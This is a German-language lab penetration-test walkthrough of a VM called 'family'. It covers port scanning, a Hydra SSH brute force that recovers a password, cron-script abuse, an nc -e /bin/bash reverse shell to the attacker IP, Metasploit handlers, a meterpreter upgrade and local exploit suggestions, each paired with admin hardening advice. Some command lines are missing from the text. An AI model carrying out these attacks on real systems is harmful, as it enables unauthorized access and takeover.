192.168.2.114 08:00:27:47:c6:70 PCS Systemtechnik GmbH
Analyse: Der Befehl arp-scan -l
sendet ARP-Anfragen ins lokale Netzwerk, um aktive Geräte zu finden. Es wird ein Gerät mit der IP 192.168.2.114
und der MAC-Adresse 08:00:27:47:c6:70
(zugeordnet zu Oracle VirtualBox) identifiziert.
Bewertung: Das Zielsystem wurde erfolgreich im Netzwerk lokalisiert. Dies ist die Grundlage für weitere Scans.
Empfehlung (Pentester): Einen detaillierten Portscan auf die IP 192.168.2.114
durchführen.
Empfehlung (Admin): Netzwerk-Monitoring zur Erkennung von ARP-Scans implementieren.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-07 14:06 CET Nmap scan report for family (192.168.2.114) Host is up (0.00014s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 6e20472a3e979823a310e5a4526418e2 (RSA) | 256 ca91c35550e59aa79e636e5473e3bcd9 (ECDSA) |_ 256 9637cdae1f8ea6d0808cee7c85675b94 (ED25519) 631/tcp open ipp CUPS 2.3 |_http-title: Home - CUPS 2.3.3op2 | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: CUPS/2.3 IPP/2.1 MAC Address: 08:00:27:47:C6:70 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.14 ms family (192.168.2.114)
Analyse: Ein umfassender Nmap-Scan wird durchgeführt (SYN-Scan, Standard-Skripte, Versionen, OS-Erkennung, alle Ports, hohes Tempo). Es werden zwei offene Ports gefunden:
22
: OpenSSH 8.4p1 (Debian).631
: CUPS 2.3 (Druckdienst mit Webinterface unter IPP - Internet Printing Protocol).robots.txt
-Datei auf dem CUPS-Dienst und identifiziert das OS als Linux.
Bewertung: Die Angriffsfläche ist klein. SSH (Port 22) ist ein möglicher Einstiegspunkt, erfordert aber gültige Anmeldedaten. Der CUPS-Dienst (Port 631) könnte Konfigurationsinformationen oder Schwachstellen enthalten.
Empfehlung (Pentester): Den CUPS-Dienst genauer untersuchen (Webinterface im Browser aufrufen, nach bekannten Schwachstellen für CUPS 2.3 suchen). SSH auf mögliche schwache Passwörter oder bekannte Schwachstellen für OpenSSH 8.4p1 prüfen.
Empfehlung (Admin): Sicherstellen, dass nur notwendige Dienste laufen. CUPS sollte nur bei Bedarf aktiviert und entsprechend abgesichert sein. SSH aktuell halten und idealerweise Key-Authentifizierung erzwingen.
http://192.168.2.114:631/robots.txt # # This file tells search engines not to index your CUPS server. # User-agent: * Disallow: /
Analyse: Der Inhalt der robots.txt
-Datei des CUPS-Dienstes wird angezeigt. Sie weist Suchmaschinen an, keine Seite des CUPS-Servers zu indizieren (Disallow: /
).
Bewertung: Die robots.txt
selbst liefert keine direkten Hinweise auf Schwachstellen, bestätigt aber die Existenz des CUPS-Webinterfaces.
Empfehlung (Pentester): Das Webinterface unter http://192.168.2.114:631
manuell untersuchen.
Empfehlung (Admin): Standardkonfiguration, keine direkten Maßnahmen erforderlich.
_mum_printer-24 d00020-001 mum 1k 1 beendet am
Analyse: Diese Zeile scheint aus der Job- oder Druckerliste des CUPS-Webinterfaces zu stammen. Sie zeigt einen Druckjob (ID `d00020-001`) für einen Drucker namens `_mum_printer-24`, der vom Benutzer `mum` eingereicht wurde.
Bewertung: Kritischer Fund! Der Benutzername `mum` wurde entdeckt. Dies ist ein wertvoller Hinweis für einen Passwort-Brute-Force-Angriff auf den SSH-Dienst.
Empfehlung (Pentester): Den Benutzernamen `mum` für einen SSH-Brute-Force-Angriff verwenden.
Empfehlung (Admin): Informationen in CUPS (Benutzernamen, Druckernamen, Jobdetails) können sensible Daten preisgeben. Den Zugriff auf das CUPS-Interface und dessen Informationsanzeige einschränken.
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *ss* ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-07 14:23:13
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344402 login tries (l:1/p:14344402), ~224132 tries per task
[DATA] attacking ssh://192.168.2.114:22/
[22][ssh] host: 192.168.2.114 login: mum password: lovely
Analyse: Das Tool `hydra` wird verwendet, um einen Wörterbuchangriff auf den SSH-Dienst (Port 22) des Ziels durchzuführen.
-l mum
: Verwendet den zuvor gefundenen Benutzernamen `mum`.-P /usr/share/wordlists/rockyou.txt
: Verwendet die Passwortliste `rockyou.txt`.ssh://192.168.2.114:22
: Gibt das Zielprotokoll, die IP und den Port an.-I
: Ignoriert vorhandene Restore-Dateien.-t 64
: Verwendet 64 parallele Tasks (Hydra warnt, dass dies für SSH zu hoch sein könnte).Bewertung: Erfolg! Ein gültiges Login (`mum:lovely`) wurde gefunden. Dies ermöglicht den initialen Zugriff auf das System.
Empfehlung (Pentester): Mit den gefundenen Credentials per SSH auf dem Zielsystem einloggen.
Empfehlung (Admin): Starke Passwortrichtlinien durchsetzen. SSH-Logins überwachen und fehlgeschlagene Versuche (Brute-Force) erkennen und blockieren (z.B. mit `fail2ban`). Die Anzahl paralleler SSH-Verbindungen pro Quelle begrenzen.
The authenticity of host '192.168.2.114 (192.168.2.114)' can't be established. ED25519 key fingerprint is SHA256:vZEvCqRgxS6H8cJ6Umlp0yPH8QAidaOqPupC9t/CPr0. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.2.114' (ED25519) to the list of known hosts. mum@192.168.2.114's password: lovely Linux family 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Oct 23 17:43:43 2022 from fe80::d63d:7eff:fef1:3736%enp0s3 mum@family:~$
Analyse: Es wird eine SSH-Verbindung als Benutzer `mum` zum Zielsystem aufgebaut. Nach Bestätigung des Host-Schlüssels wird das zuvor gefundene Passwort `lovely` eingegeben. Der Login ist erfolgreich, und wir erhalten eine Shell als Benutzer `mum`.
Bewertung: Der initiale Zugriff auf das System ist bestätigt. Wir können nun mit der Enumeration auf dem Zielsystem beginnen.
Empfehlung (Pentester): Grundlegende Enumeration durchführen: Benutzerrechte prüfen (`id`, `sudo -l`), laufende Prozesse/Dienste untersuchen (`ps`, `ss`, `netstat`), SUID-Binaries suchen (`find`), Betriebssystem- und Kernel-Version prüfen.
Empfehlung (Admin): SSH-Zugänge überwachen. Starke Passwörter bleiben essenziell.
total 20
drwxr-xr-x 4 mum mum 4096 Oct 24 07:35 .
drwxr-xr-x 5 root root 4096 Oct 11 16:27 ..
lrwxrwxrwx 1 root root 9 Oct 12 05:59 .bash_history -> /dev/null
-rw-r--r-- 1 mum mum 3526 Oct 24 07:35 .bashrc
drwxr-xr-x 3 mum mum 4096 Oct 8 09:54 .local
drwx------ 2 mum mum 4096 Oct 22 16:04 .ssh
Analyse: Das Home-Verzeichnis des Benutzers `mum` wird aufgelistet. Interessant ist, dass die `.bash_history` nach `/dev/null` verlinkt ist, was bedeutet, dass keine Befehlshistorie für diesen Benutzer gespeichert wird.
Bewertung: Das Fehlen der Bash-History erschwert die Nachverfolgung früherer Aktivitäten des Benutzers, ist aber für den weiteren Pentest nicht unmittelbar kritisch.
Empfehlung (Pentester): Andere Home-Verzeichnisse prüfen.
Empfehlung (Admin): Das Umleiten der History nach `/dev/null` kann eine bewusste Aktion zur Verschleierung sein. Logging und Monitoring auf Systemebene sind wichtig.
baby dad mum
Analyse: Die Auflistung von `/home` zeigt, dass es neben `mum` auch die Benutzer `baby` und `dad` gibt.
Bewertung: Dies sind potenzielle Ziele für horizontale oder vertikale Privilegieneskalation.
Empfehlung (Pentester): Versuchen, Informationen über diese Benutzer zu sammeln oder Zugriff auf deren Verzeichnisse zu erlangen.
Empfehlung (Admin): Berechtigungen für Home-Verzeichnisse überprüfen.
[sudo] password for mum: lovely Sorry, user mum may not run sudo on family.
Analyse: Der Befehl sudo -l
wird ausgeführt, um zu prüfen, ob `mum` irgendwelche `sudo`-Rechte hat. Nach Eingabe des Passworts (`lovely`) wird bestätigt, dass `mum` keine `sudo`-Befehle ausführen darf.
Bewertung: Eine direkte Privilegieneskalation über `sudo` ist für den Benutzer `mum` nicht möglich.
Empfehlung (Pentester): Nach anderen Wegen zur Privilegieneskalation suchen (SUID-Binaries, Kernel-Exploits, Fehlkonfigurationen, Cronjobs etc.).
Empfehlung (Admin): Korrekte Konfiguration, keine direkten Maßnahmen erforderlich.
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 0.0.0.0:46554 0.0.0.0:* uid:108 ino:11742 sk:1 cgroup:/system.slice/avahi-daemon.service <->
udp UNCONN 0 0 0.0.0.0:bootpc 0.0.0.0:* ino:11671 sk:2 cgroup:/system.slice/ifup@enp0s3.service <->
udp UNCONN 0 0 0.0.0.0:631 0.0.0.0:* ino:12288 sk:3 cgroup:/system.slice/cups-browsed.service <->
udp UNCONN 0 0 0.0.0.0:mdns 0.0.0.0:* uid:108 ino:11740 sk:4 cgroup:/system.slice/avahi-daemon.service <->
udp UNCONN 0 0 [::]:59044 [::]:* uid:108 ino:11743 sk:5 cgroup:/system.slice/avahi-daemon.service v6only:1 <->
udp UNCONN 0 0 [::]:mdns [::]:* uid:108 ino:11741 sk:6 cgroup:/system.slice/avahi-daemon.service v6only:1 <->
tcp LISTEN 0 128 0.0.0.0:ipp 0.0.0.0:* ino:12242 sk:7 cgroup:/system.slice/cups.service <->
tcp LISTEN 0 5 127.0.0.1:8000 0.0.0.0:* uid:1000 ino:12193 sk:8 cgroup:/system.slice/cron.service <->
tcp LISTEN 0 128 0.0.0.0:ssh 0.0.0.0:* ino:11828 sk:9 cgroup:/system.slice/ssh.service <->
tcp LISTEN 0 128 [::]:ipp [::]:* ino:12243 sk:a cgroup:/system.slice/cups.service v6only:1 <->
tcp LISTEN 0 128 [::]:ssh [::]:* ino:11839 sk:b cgroup:/system.slice/ssh.service v6only:1 <->
Analyse: Der Befehl ss -tulpe
listet alle lauschenden (LISTEN) und verbundenen (nicht gezeigt) TCP- und UDP-Sockets mit den zugehörigen Prozessen auf. Neben den bekannten Ports 22 (SSH) und 631 (CUPS/IPP) wird ein weiterer Dienst auf 127.0.0.1:8000
(localhost, Port 8000) identifiziert. Dieser Dienst wird von der Benutzer-ID (uid) `1000` ausgeführt und scheint zur CGroup `cron.service` zu gehören (was ungewöhnlich ist, oft laufen Webserver als `www-data` oder ein dedizierter User).
Bewertung: Der Dienst auf Port 8000 ist interessant. Da er auf localhost lauscht, ist er nicht direkt von außen erreichbar. Die UID 1000 gehört typischerweise dem ersten regulären Benutzer, der auf einem Debian-System erstellt wird. Da wir `mum` (UID 1002, siehe spätere `id`-Ausgabe) und `baby` (UID 1001, siehe spätere Eskalation) kennen, gehört UID 1000 sehr wahrscheinlich zu `dad`. Der Zusammenhang mit `cron.service` ist unklar, könnte aber auf einen Prozess hindeuten, der von einem Cronjob gestartet wurde.
Empfehlung (Pentester): Den Dienst auf Port 8000 untersuchen. Da er nur lokal erreichbar ist, muss dies von der `mum`-Shell aus geschehen, oder mittels Port-Forwarding über SSH. Prüfen, was auf diesem Port läuft (z.B. mit `curl localhost:8000`).
Empfehlung (Admin): Dienste sollten nicht unter Standard-Benutzer-UIDs laufen, wenn nicht unbedingt nötig. Den Zweck des Dienstes auf Port 8000 und seine Verknüpfung mit `cron.service` klären.
391773 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd 395401 72 -rwsr-xr-x 1 root root 71912 Jan 20 2022 /usr/bin/su 406591 180 -rwsr-xr-x 1 root root 182600 Feb 27 2021 /usr/bin/sudo 391770 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh 391772 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd 395708 36 -rwsr-xr-x 1 root root 35040 Jan 20 2022 /usr/bin/umount 395706 56 -rwsr-xr-x 1 root root 55528 Jan 20 2022 /usr/bin/mount 406183 24 -rwsr-xr-x 1 root root 23448 Jan 13 2022 /usr/bin/pkexec 391769 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn 395257 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp 659853 472 -rwsr-xr-x 1 root root 481608 Jul 2 00:37 /usr/lib/openssh/ssh-keysign 411860 52 -rwsr-xr-- 1 root messagebus 51336 Oct 5 13:04 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 406186 20 -rwsr-xr-x 1 root root 19040 Jan 13 2022 /usr/libexec/polkit-agent-helper-1
Analyse: Sucht nach Dateien mit gesetztem SUID-Bit (`-perm -4000`), die also potenziell mit den Rechten des Besitzers (oft `root`) ausgeführt werden können. Die Liste zeigt Standard-Linux-SUID-Binaries.
Bewertung: Auf den ersten Blick keine ungewöhnlichen oder direkt ausnutzbaren SUID-Binaries gefunden. `pkexec` könnte für CVE-2021-4034 (PwnKit) anfällig sein, falls das System nicht gepatcht ist.
Empfehlung (Pentester): Versionen der SUID-Binaries prüfen (insbesondere `pkexec`) und auf bekannte Schwachstellen untersuchen (z.B. mit `linpeas.sh` oder manuell).
Empfehlung (Admin): Anzahl der SUID-Binaries minimieren. System aktuell halten, um bekannte SUID-Exploits zu verhindern.
DISTRIB_ID=Debian
DISTRIB_DESCRIPTION="Debian GNU/Linux installer"
DISTRIB_RELEASE="11 (bullseye) - installer build 20210731+deb11u5"
X_INSTALLATION_MEDIUM=cdrom
Analyse: Der Inhalt von `/var/log/installer/lsb-release` wird angezeigt und bestätigt, dass das Betriebssystem Debian 11 (Bullseye) ist.
Bewertung: Wichtige Information für die Suche nach spezifischen Exploits oder Konfigurationen.
Empfehlung (Pentester): Diese Information bei der Exploit-Suche berücksichtigen.
Empfehlung (Admin): Keine Maßnahmen erforderlich.
SHELL=/bin/bash PWD=/var/log/installer LOGNAME=mum XDG_SESSION_TYPE=tty MOTD_SHOWN=pam HOME=/home/mum LANG=C.UTF-8 SSH_CONNECTION=192.168.2.121 45242 192.168.2.114 22 XDG_SESSION_CLASS=user TERM=xterm-256color USER=mum SHLVL=1 XDG_SESSION_ID=44 XDG_RUNTIME_DIR=/run/user/1002 SSH_CLIENT=192.168.2.121 45242 22 PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1002/bus SSH_TTY=/dev/pts/0 _=/usr/bin/env OLDPWD=/var/log
Analyse: Der Befehl env
zeigt die Umgebungsvariablen für die aktuelle Shell des Benutzers `mum` an. Enthält Standardinformationen wie `HOME`, `USER`, `PATH` und die SSH-Verbindungsdetails.
Bewertung: Keine ungewöhnlichen oder direkt ausnutzbaren Umgebungsvariablen sichtbar.
Empfehlung (Pentester): Den `PATH` auf schreibbare Verzeichnisse prüfen (unwahrscheinlich in diesem Standard-Setup).
Empfehlung (Admin): Keine Maßnahmen erforderlich.
(Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active UNIX domain sockets (servers and established) Proto RefCnt Flags Type State I-Node PID/Program name Path unix 3 [ ] DGRAM 10459 - /run/systemd/notify unix 2 [ ACC ] STREAM LISTENING 10462 - /run/systemd/private [...] (Lange Liste von Standard-Systemd/DBus/etc. Sockets) unix 2 [ ACC ] STREAM LISTENING 11907 - /run/php/php7.4-fpm.sock unix 2 [ ACC ] STREAM LISTENING 11388 - /run/avahi-daemon/socket unix 2 [ ACC ] STREAM LISTENING 11390 - /run/cups/cups.sock unix 2 [ ACC ] STREAM LISTENING 11394 - /run/dbus/system_bus_socket [...]
Analyse: Der Befehl `netstat -a -p --unix` listet aktive Unix Domain Sockets auf. Diese werden für die Interprozesskommunikation auf dem lokalen System verwendet. Die Ausgabe zeigt viele Sockets, die zu Systemdiensten wie `systemd`, `dbus`, `cups`, `avahi` und `php7.4-fpm` gehören.
Bewertung: Die Anwesenheit von `php7.4-fpm.sock` deutet darauf hin, dass PHP-FPM läuft, möglicherweise für einen Webserver (obwohl Nmap keinen Standard-Webserver auf Port 80/443 fand). Die anderen Sockets sind meist Standard.
Empfehlung (Pentester): Prüfen, ob es einen Webserver gibt, der PHP über diesen Socket nutzt (vielleicht auf einem nicht standardmäßigen Port oder nur intern).
Empfehlung (Admin): Nicht benötigte Dienste (wie PHP-FPM, falls kein Webserver aktiv ist) deaktivieren.
bash: cd: /home/dad/project: Not a directory
/home/dad/project
#! /bin/bash find / -user mum -writable -exec rm {} \; 2>/dev/null find / -user mum -type f -name -exec grep -il 'password' {} \; 2>/dev/null find / -user mum -type f -name "id_rsa" 2>/dev/null find / -user mum -type f -name "authorized_keys" 2>/dev/null find / -mmin -30 -user mum 2>/dev/null | grep -v "/proc/" find /home/dad -type f ! -name "project" -user dad -executable -exec mv "{}" ~/survey \; cat /var/mail/mum cat /home/mum/.bash_history 2>/dev/null cat /var/spool/cups/d0002 for file in ~/survey/ ; do [[ -O $file ]] && bash $file 2>/dev/null ; done strings /dev/mem -n100 | grep -i mum who -u |grep mum
Analyse: Es wird versucht, in `/home/dad/project` zu wechseln, was fehlschlägt, da es sich um eine Datei handelt. Der Inhalt der Datei `/home/dad/project` wird angezeigt. Es ist ein Bash-Skript, das verschiedene Aktionen ausführt:
Bewertung: Dieses Skript ist der Schlüssel zur nächsten Privilegieneskalation. Wenn wir eine ausführbare Datei, die `dad` gehört, in `/home/dad` platzieren können, wird sie vom Cronjob nach `/home/dad/survey` verschoben und dort als `dad` ausgeführt. Wir (als `mum`) können nicht direkt in `/home/dad` schreiben, aber der Webserver auf Port 8000 läuft als `dad`.
Empfehlung (Pentester):
1. Eine Reverse-Shell-Payload erstellen.
2. Payload ausführbar machen (`chmod +x`).
3. Port-Forwarding für Port 8000 einrichten.
4. Versuchen, die Payload über den Webserver (Port 8000) hochzuladen, sodass sie in `/home/dad` landet (z.B. mit `curl --upload-file`).
5. Einen Netcat-Listener starten, um die eingehende Verbindung von `dad` zu empfangen, wenn der Cronjob das Skript ausführt.
Empfehlung (Admin): Cronjobs überprüfen. Skripte, die von Cronjobs ausgeführt werden, sollten sicher programmiert sein und keine unsicheren Operationen wie das Verschieben und Ausführen von Dateien aus potenziell manipulierbaren Verzeichnissen durchführen. Berechtigungen überprüfen (`/home/dad/project` sollte nicht für `mum` lesbar sein). Die Verwendung von `~/survey` ist problematisch, absolute Pfade wären sicherer. Das `find ... -exec rm` für Dateien von `mum` ist verdächtig.
Analyse: Basierend auf der Analyse des Skripts `/home/dad/project` und des Webservers auf Port 8000 (der als `dad` läuft), wird nun versucht, Code als Benutzer `dad` auszuführen. Der Plan ist, eine Reverse-Shell-Payload zu erstellen, diese über den Webserver (als `dad` laufend) in das `/home/dad`-Verzeichnis hochzuladen und darauf zu warten, dass der Cronjob die Payload nach `/home/dad/survey` verschiebt und als `dad` ausführt.
mum pts/0 2022-11-07 14:23 . 1591 (192.168.2.121)
Analyse: Überprüft, ob der Benutzer `mum` noch angemeldet ist und von welcher IP (`192.168.2.121`) die Verbindung kommt. Dies bestätigt die IP des Angreifers für die Reverse Shell.
Bewertung: Nützliche Verifizierung.
Empfehlung (Pentester): Diese IP als LHOST für die Reverse Shell verwenden.
Empfehlung (Admin): Keine Maßnahmen erforderlich.
strings: /dev/mem: Permission denied
strings: /dev/mem: Permission denied
Analyse: Der Versuch, mit `strings` auf `/dev/mem` zuzugreifen (wie im `project`-Skript vorgesehen), schlägt erwartungsgemäß als normaler Benutzer fehl.
Bewertung: Bestätigt, dass `mum` keine Root-Rechte hat.
Empfehlung (Pentester): Ignorieren, da dies Teil des `project`-Skripts ist.
Empfehlung (Admin): `/dev/mem` sollte ohnehin geschützt sein.
Analyse (Metasploit): An dieser Stelle wurde im Originalbericht offenbar Metasploit verwendet, um die initiale `nc`-Shell, die aus dem fehlgeschlagenen Versuch unten resultierte, zu einer Meterpreter-Session aufzuwerten und dann nach weiteren lokalen Exploits zu suchen. Zuerst wird ein Listener für die Reverse Shell gestartet.
Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (generic/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target
lhost => 192.168.2.121
lport => 4444
[*] Started reverse TCP handler on 192.168.2.121:4444
Analyse (Metasploit): Ein Handler in Metasploit wird konfiguriert, um auf Port 4444 der Angreifer-IP (`192.168.2.121`) auf eine eingehende Reverse Shell zu warten.
Bewertung: Vorbereitung für den Empfang der Shell.
Empfehlung (Pentester): Den Handler laufen lassen und die Reverse Shell vom Ziel auslösen.
Empfehlung (Admin): Ausgehende Verbindungen vom Server zu ungewöhnlichen Ports blockieren.
Cmd line: ^C
Analyse: Versuch, manuell eine Reverse Shell vom Ziel zum Angreifer (192.168.2.121:4444) zu starten. Die Option -e /bin/bash
(führe Bash nach Verbindung aus) ist auf vielen modernen Systemen aus Sicherheitsgründen deaktiviert. Der ^C
im Originaltext deutet darauf hin, dass der Befehl hier abgebrochen wurde oder nicht wie erwartet funktionierte.
Bewertung: Dieser direkte Versuch, eine Shell als `mum` zu starten, scheint fehlgeschlagen zu sein oder wurde abgebrochen. Die erfolgreiche Shell-Verbindung weiter unten muss durch den Cronjob-Exploit ausgelöst worden sein.
Empfehlung (Pentester): Alternative Methoden für Reverse Shells verwenden, falls nc -e
nicht funktioniert (z.B. Bash-Redirection, Python, Perl). Den Fokus auf den Cronjob-Exploit legen.
Empfehlung (Admin): Die -e
Option in Netcat (falls installiert) deaktivieren oder Netcat ganz entfernen, wenn nicht benötigt.
[*] Command shell session 1 opened (192.168.2.121:4444 -> 192.168.2.114:60342) at 2022-11-07 15:13:55 +0100 id uid=1002(mum) gid=1002(mum) groups=1002(mum),7(lp),117(lpadmin) ^Z Background session 1? [y/N] y
Analyse (Metasploit): Der Metasploit-Listener empfängt eine eingehende Verbindung. Eine Command-Shell-Session (Session 1) wird geöffnet. Die `id`-Ausgabe zeigt, dass die Shell als Benutzer `mum` (UID 1002) läuft. Dies widerspricht dem Plan, eine Shell als `dad` zu erhalten. Möglicherweise wurde die Reverse Shell doch manuell als `mum` ausgelöst (trotz des `^C` oben) oder es gab einen Denkfehler im ursprünglichen Plan. Die Session wird in den Hintergrund geschickt.
Bewertung: Eine Shell wurde erhalten, aber als `mum`, nicht wie geplant als `dad`. Dies bedeutet, dass der Cronjob-Exploit-Versuch (der noch folgt) entweder fehlgeschlagen ist oder noch nicht stattgefunden hat, oder die hier gezeigte Shell stammt nicht daher.
Empfehlung (Pentester): Den Cronjob-Exploit weiter verfolgen. Die bestehende `mum`-Shell kann parallel für weitere Enumeration genutzt werden. Metasploit für das Upgrade zur Meterpreter-Session verwenden.
Empfehlung (Admin): Siehe vorherige Empfehlungen.
Matching Modules [...] 54 post/multi/manage/shell_to_meterpreter normal No Shell to Meterpreter Upgrade [...]
msf6 post(multi/manage/shell_to_meterpreter) >
Module options (post/multi/manage/shell_to_meterpreter): Name Current Setting Required Description ---- --------------- -------- ----------- HANDLER true yes Start an exploit/multi/handler to receive the connection LHOST no IP of host that will receive the connection from the payload (Will try to auto detect). LPORT 4433 yes Port for payload to connect to. SESSION yes The session to run this module on
handler => true
lport => 4433
session => 1
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.121:4433
[*] Sending stage (1017704 bytes) to 192.168.2.114
[*] Meterpreter session 2 opened (192.168.2.121:4433 -> 192.168.2.114:57404) at 2022-11-07 15:14:44 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
Analyse (Metasploit): Das Modul `post/multi/manage/shell_to_meterpreter` wird verwendet, um die bestehende Command-Shell-Session (Session 1) zu einer funktionsreicheren Meterpreter-Session aufzuwerten. Es wird ein neuer Listener auf Port 4433 gestartet. Das Modul lädt den Meterpreter-Payload auf das Zielsystem hoch und führt ihn aus. Eine neue Meterpreter-Session (Session 2) wird erfolgreich geöffnet.
Bewertung: Das Upgrade war erfolgreich. Eine Meterpreter-Session bietet mehr Möglichkeiten für Interaktion und Enumeration als eine einfache Shell.
Empfehlung (Pentester): Die Meterpreter-Session für weitere Enumeration nutzen, z.B. mit dem Local Exploit Suggester.
Empfehlung (Admin): Host-basiertes Intrusion Detection (HIDS) kann das Nachladen von Payloads wie Meterpreter erkennen.
Matching Modules # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester
msf6 post(multi/recon/local_exploit_suggester) >
Module options (post/multi/recon/local_exploit_suggester): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on SHOWDESCRIPTION false yes Displays a detailed description for the available exploits
session => 2
[-] Unknown datastore option: shiwdescription. Did you mean SHOWDESCRIPTION?
SHOWDESCRIPTION => false
session => 2
[*] 192.168.2.114 - Collecting local exploits for x86/linux... [*] 192.168.2.114 - 173 exploit checks are being tried... [+] 192.168.2.114 - exploit/linux/local/cve_2022_0847_dirtypipe: The target appears to be vulnerable. Linux kernel version found: 5.10.0 [+] 192.168.2.114 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable. [+] 192.168.2.114 - exploit/linux/local/pkexec: The service is running, but could not be validated. [+] 192.168.2.114 - exploit/linux/local/su_login: The target appears to be vulnerable. [+] 192.168.2.114 - exploit/linux/local/ubuntu_enlightenment_mount_priv_esc: The target appears to be vulnerable. [*] Running check method for exploit 52 / 52 [*] 192.168.2.114 - Valid modules for session 2: # Name Potentially Vulnerable? Check Result - ---- ----------------------- ------------ 1 exploit/linux/local/cve_2022_0847_dirtypipe Yes The target appears to be vulnerable. Linux kernel version found: 5.10.0 2 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable. 3 exploit/linux/local/pkexec Yes The service is running, but could not be validated. 4 exploit/linux/local/su_login Yes The target appears to be vulnerable. 5 exploit/linux/local/ubuntu_enlightenment_mount_priv_esc Yes The target appears to be vulnerable. [*] Exploit completed, but no session was created.
Analyse (Metasploit): Der Local Exploit Suggester wird auf der Meterpreter-Session (Session 2) ausgeführt. Er sammelt Informationen über das Zielsystem (Kernel-Version, installierte Pakete etc.) und vergleicht diese mit einer Datenbank bekannter lokaler Exploits. Er identifiziert mehrere potenzielle Schwachstellen, darunter Dirty Pipe (CVE-2022-0847) und PwnKit (`pkexec`).
Bewertung: Der Suggester liefert wertvolle Hinweise auf mögliche Kernel- oder Service-Exploits zur Privilegieneskalation. Dirty Pipe ist für den gefundenen Kernel 5.10.0 relevant.
Empfehlung (Pentester): Einen der vorgeschlagenen Exploits (z.B. Dirty Pipe oder PwnKit) ausprobieren. Alternativ den bereits identifizierten Weg über den Cronjob weiterverfolgen.
Empfehlung (Admin): System aktuell halten, um bekannte Schwachstellen zu patchen. Den Exploit Suggester auf eigenen Systemen laufen lassen, um potenzielle Lücken zu finden.
[*] Using configured payload linux/x64/meterpreter/reverse_tcp msf6 exploit(linux/local/ubuntu_enlightenment_mount_priv_esc) >
Module options (exploit/linux/local/ubuntu_enlightenment_mount_priv_esc): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Auto
lhost => 192.168.2.121
[*] Started reverse TCP handler on 192.168.2.121:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Finding enlightenment_sys
[*] Writing '/tmp/.qX2uqC' (282 bytes) ...
[*] Creating folders for exploit
[*] Launching exploit...
[-] Exploit completed, but no session was created.
Analyse (Metasploit): Es wird versucht, einen der vom Suggester vorgeschlagenen Exploits (`ubuntu_enlightenment_mount_priv_esc`) auszuführen. Der Exploit wird für Session 2 konfiguriert und gestartet. Obwohl der Check positiv ist, meldet Metasploit am Ende "Exploit completed, but no session was created.", was bedeutet, dass der Exploit fehlschlug und keine Root-Shell erzeugt wurde.
Bewertung: Der Versuch, über einen Kernel-/Service-Exploit Root-Rechte zu erlangen, war nicht erfolgreich. Dies lenkt den Fokus zurück auf den Cronjob-Exploit.
Empfehlung (Pentester): Den Cronjob-Exploit für die Eskalation zu `dad` weiterverfolgen.
Empfehlung (Admin): System-Patching bleibt wichtig, auch wenn dieser spezielle Exploit nicht funktionierte.
Analyse (Cronjob Exploit): Die folgenden Schritte setzen den zuvor analysierten Plan zur Ausnutzung des Cronjobs und des Webservers um, um eine Shell als Benutzer `dad` zu erhalten.
Analyse: Auf der Angreifer-Maschine wird eine Datei `rev` erstellt, die den Befehl für eine Reverse Shell enthält (`nc -e /bin/bash
Bewertung: Die Payload für die Reverse Shell als `dad` ist vorbereitet.
Empfehlung (Pentester): Die Payload nun auf das Zielsystem hochladen.
Empfehlung (Admin): Siehe vorherige Empfehlungen zum Cronjob und `nc -e`.
